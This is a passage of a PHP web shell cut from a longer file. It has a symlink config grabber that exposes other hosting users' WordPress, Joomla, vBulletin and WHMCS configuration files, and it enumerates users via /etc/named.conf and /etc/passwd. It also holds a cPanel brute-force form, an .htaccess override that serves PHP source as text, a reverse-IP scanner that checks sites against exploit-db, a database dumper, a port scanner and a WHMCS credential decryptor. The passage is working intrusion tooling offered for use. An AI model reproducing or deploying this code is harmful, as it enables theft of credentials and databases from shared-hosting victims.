symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if($d0mains)
{
mkdir($fn);
chdir($fn);
foreach($d0mains as $d0main)
{
if(eregi("zone",$d0main))
{
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2)
{
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
syml($user['name'],$domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
else
{
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for(;$val1 <= $val2;$val1++)
{
$uid = @posix_getpwuid($val1);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
$temp = trim($temp);
$file5 = fopen("test.txt","w");
fputs($file5,$temp);
fclose($file5);
$htaccess =
'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess","w+");
$write = fwrite ($file ,base64_decode($htaccess));
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
$s = fgets($file);
$matches = array();
$t = preg_match('/\/(.*?)\:\//s', $s, $matches);
$matches = str_replace("home/","",$matches[1]);
if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
continue;
syml($matches,$matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="#428bca">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#428bca">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if($safe_mode=='1')
{
echo 'ON';
}else{
echo 'OFF';
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if(''==($func=@ini_get('disable_functions')))
{
echo "<font color=#428bca>No Security for Function</font></b>";
}else{
echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
echo "<font color=#428bca>$func</font></b>";
echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
</strong>
</td></tr>';
}
?></strong></td></tr></table></table></table>
<?
}
///////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'tutor'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=tutor" method="post">
<center><br><br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>
<form method="post" action="">
<table class="tabnet" border="1" >
<tr>
<td align="center">English</td><td align="center">Indonesian</td>
</tr>
<tr>
<td><form method="post" action="">
E-book Hacking :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial24" > Hacking Exposed-5 </option>
<option value="tutorial25"> Internet Denial Of Service </option>
<option value="tutorial26">Computer Viruses For Dummies</option>
<option value="tutorial27">Hack Attacks Testing</option>
<option value="tutorial28">Secrets Of A Super Hacker</option>
<option value="tutorial29">Stealing The Network</option>
<option value="tutorial30">Hacker's HandBook</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</td></form>
<td><form method="post" action="">
Tutorial by X'1N73CT :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial2">Search Engine Hacking</option>
<option value="tutorial3">SQL Injection dengan hackbar</option>
<option value="tutorial1" >Bypass Union</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
</tr>
<tr>
<td>
<form method="post" action="">
E-Book from Syn|gress :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="cryptography_for_defeloper">Cryptography for Developer</option>
<option value="tutorial31">Mobile Malware Attack and Defense</option>
<option value="forensic">CD and DVD Forensic</option>
<option value="ddd">Open Sourch Security Tools</option>
<option value="metasploit">Metaslpoit Toolkit</option>
<option value="stealing_network">Stealing the Network</option>
<option value="security_polices">Creating Security Polices</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
<td>
<form method="post" action="">
X-CODE MAGAZINE :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial4">X-CODE MAGAZINE 1</option>
<option value="tutorial5">X-CODE MAGAZINE 2</option>
<option value="tutorial6">X-CODE MAGAZINE 3</option>
<option value="tutorial7">X-CODE MAGAZINE 4</option>
<option value="tutorial8">X-CODE MAGAZINE 5</option>
<option value="tutorial9">X-CODE MAGAZINE 6</option>
<option value="tutorial10">X-CODE MAGAZINE 7</option>
<option value="tutorial11">X-CODE MAGAZINE 8</option>
<option value="tutorial12">X-CODE MAGAZINE 9</option>
<option value="tutorial13">X-CODE MAGAZINE 10</option>
<option value="tutorial14">X-CODE MAGAZINE 11</option>
<option value="tutorial15">X-CODE MAGAZINE 12</option>
<option value="tutorial16">X-CODE MAGAZINE 13</option>
<option value="tutorial17">X-CODE MAGAZINE 14</option>
<option value="tutorial18">X-CODE MAGAZINE 15</option>
<option value="tutorial19">X-CODE MAGAZINE 16</option>
<option value="tutorial20">X-CODE MAGAZINE 17</option>
<option value="tutorial21">X-CODE MAGAZINE 18</option>
<option value="tutorial22">X-CODE MAGAZINE 19</option>
<option value="tutorial23">X-CODE MAGAZINE 20</option>
<option value="tutorial024">X-CODE MAGAZINE 21</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download" ></a>
</form></td></tr></table><br><br>
<?php
$submit = $_POST ['submit'];
if(isset($submit)) {
$pilih = $_POST['pilih'];
if ( $pilih == 'tutorial1') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial2') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial3') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial4') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_1.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial5') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_2.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial6') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_3.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial7') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_4.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial8') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial9') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_6.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial10') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_7.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial11') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_8.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial12') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode9.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial13') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode10.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial14') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode11.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial15') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode12.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial16') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode13.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial17') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode14.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial18') {
?>
<script>
document.location = 'http://xcode.or.id/Xcode15.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial19') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_16.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial20') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_17.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial21') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_18.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial22') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_19.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial23') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_20.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial024') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_21.zip';
</script>
<?php
}
elseif ( $pilih == 'tutorial24') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hacking_exposed_5.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial25') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/internet_denial_of_service.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial26') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial27') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hack_attacks_testing.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial28') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial29') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar';
</script>
<?php
}
elseif ( $pilih == 'tutorial30') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar';
</script>
<?php
}
elseif ( $pilih == 'ddd') {
?>
<script>
document.location = 'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf';
</script>
<?php
}
elseif ( $pilih == 'tutorial31') {
?>
<script>
document.location = 'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf';
</script>
<?php
}
elseif ( $pilih == 'cryptography_for_defeloper') {
?>
<script>
document.location = 'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf';
</script>
<?php
}
elseif ( $pilih == 'forensic') {
?>
<script>
document.location = 'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf';
</script>
<?php
}
elseif ( $pilih == 'metasploit') {
?>
<script>
document.location = 'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf';
</script>
<?php
}elseif ( $pilih == 'stealing_network') {
?>
<script>
document.location = 'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf';
</script>
<?php
}elseif ( $pilih == 'security_polices') {
?>
<script>
document.location = 'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf';
</script>
<?php
}
}
}
////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cms_detect'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=cms_detect" method="post">
<br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>
<?php
if(!file_exists('pee.tmp')){
@fopen('pee.tmp', 'w');
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>';
$p = 0;
if(is_readable("/var/named")){
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/",$current_dir);
foreach($list as $domain){
if(strpos($domain,".db"))
{
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
error_reporting(0);
$link = $pageURL.'pee/'.$owner['name'];
cms_add($link,$domain,$owner['name'],"WordPress");
cms_add($link,$domain,$owner['name'],"Joomla");
cms_add($link,$domain,$owner['name'],"vBulletin");
cms_add($link,$domain,$owner['name'],"WHMCS");
cms_add($link,$domain,$owner['name'],"PhpBB");
cms_add($link,$domain,$owner['name'],"MyBB");
cms_add($link,$domain,$owner['name'],"IPB");
cms_add($link,$domain,$owner['name'],"SMF");
cms_add($link,$domain,$owner['name'],"Drupal");
cms_add($link,$domain,$owner['name'],"e107");
cms_add($link,$domain,$owner['name'],"Seditio");
cms_add($link,$domain,$owner['name'],"osCommerce");
}
}
}
}else{
echo'<table align="center" border="1" width="45%" cellspacing="0" cellpadding="4" class="td1">';
echo'<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>';
$content = file_get_contents($pageURL.'pee.tmp');
echo $content;
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jss'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=jss" method="post">
<?php
echo '
<br><br><br><p align="center"><b><font size="3">Enter Targeting IP</font></b></p><br>
<form method="POST">
<p align="center"><input type="text" class="inputz" name="site" size="65"><input class="inputzbut" type="submit" value="Scan"></p>
</form><center>
';
@set_time_limit(0);
@error_reporting(E_ALL | E_NOTICE);
function check_exploit($comxx){
$link ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$comxx&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results",$result)) {
echo"<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+$comxx+joomla+extension'>Download</a></td></tr>";
}else{
echo"<td><a href='$link'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url){
$source = @file_get_contents($url);
preg_match_all('{option,(.*?)/}i',$source,$f);
preg_match_all('{option=(.*?)(&|&|")}i',$source,$f2);
preg_match_all('{/components/(.*?)/}i',$source,$f3);
$arz=array_merge($f2[1],$f[1],$f3[1]);
$coms=array();
foreach(array_unique($arz) as $x){
$coms[]=$x;
}
foreach($coms as $comm){
echo "<tr><td>$comm</td>";
check_exploit($comm);
}
}
function sec($site){
preg_match_all('{http://(.*?)(/index.php)}siU',$site, $sites);
if(eregi("www",$sites[0][0])){
return $site=str_replace("index.php","",$sites[0][0]);
}else{
return $site=str_replace("http://","http://www.",str_replace("index.php","",$sites[0][0]));
}}
$npages = 50000;
if ($_POST)
{
$ip = trim(strip_tags($_POST['site']));
$npage = 1;
$allLinks = array();
while($npage <= $npages)
{
$x=@file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
if ($x)
{
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
foreach ($findlink[1] as $fl)
$allLinks[]=sec($fl);
$npage = $npage + 10;
if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0)
break;
}
else
break;
}
$allDmns = array();
foreach ($allLinks as $kk => $vv){
$allDmns[] = $vv;
}
echo'<table border="1" width=\"80%\" align=\"center\">
<tr><td width=\"30%\"><b>Server IP : </b></td><td><b>'.$ip.'</b></td></tr>
<tr><td width=\"30%\"><b>Sites Found : </b></td><td><b>'.count(array_unique($allDmns)).'</b></td></tr>
</table>';
echo "<br><br>";
echo'<table border="1" width="80%" align=\"center\">';
foreach(array_unique($allDmns) as $h3h3){
echo'<tr id=new><td><b><a href='.$h3h3.'>'.$h3h3.'</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
check_com($h3h3);
}
echo"</table>";
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=dump" method="post">
<?php
echo $head.'<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="'.$me.'">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
$dbpass = $_POST['password'];
$dbname = $_POST['dbname'];
$file = "Dump-$dbname-$date";
$method = $_POST['method'];
if ($method=='sql'){
$file="Dump-$dbname-$date.sql";
$fp=fopen($file,"w");
}else{
$file="Dump-$dbname-$date.sql.gz";
$fp = gzopen($file,"w");
}
function write($data) {
global $fp;
if ($_POST['method']=='ssql'){
fwrite($fp,$data);
}else{
gzwrite($fp, $data);
}}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";
");
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");
");
}
}
}
if ($method=='ssql'){
fclose ($fp);
}else{
gzclose($fp);}
header("Content-Disposition: attachment; filename=" . $file);
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
flush();
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'port-sc'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=port-sc" method="post">
<?php
echo '<br><br><center><br><b>+--=[ Port Scanner ]=--+</b><br>';
$start = strip_tags($_POST['start']);
$end = strip_tags($_POST['end']);
$host = strip_tags($_POST['host']);
if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo 'Port '.$i.' is <font color=green>open</font><br>';
}
flush();
}
}else{
echo '<table class=tabnet style="width:300px;padding:0 1px;">
<input type="hidden" name="y" value="phptools">
<tr><th colspan="5">Port Scanner</th></center></tr>
<tr>
<td>Host</td>
<td><input type="text" class="inputz" style="width:220px;color:#428bca;" name="host" value="localhost"/></td>
</tr>
<tr>
<td>Port start</td>
<td><input type="text" class="inputz" style="width:220px;color:#428bca;" name="start" value="0"/></td>
</tr>
<tr><td>Port end</td>
<td><input type="text" class="inputz" style="width:220px;color:#428bca;" name="end" value="5000"/></td>
</tr><td><input class="inputzbut" type="submit" style="color:#428bca" value="Scan Ports" />
</td></form></center></table>';
}
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
{
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>masukan kata yang ingin di encrypt:</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr><br><br>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr><br><br>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr><br><br>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr><br><br>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr><br><br>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr><br><br></table>';
}
/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
{
?>
<form action="?y=<?php echo $pwd; ?>&x=whmcs" method="post">
<?php
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = '';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists ('sha1'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = '';
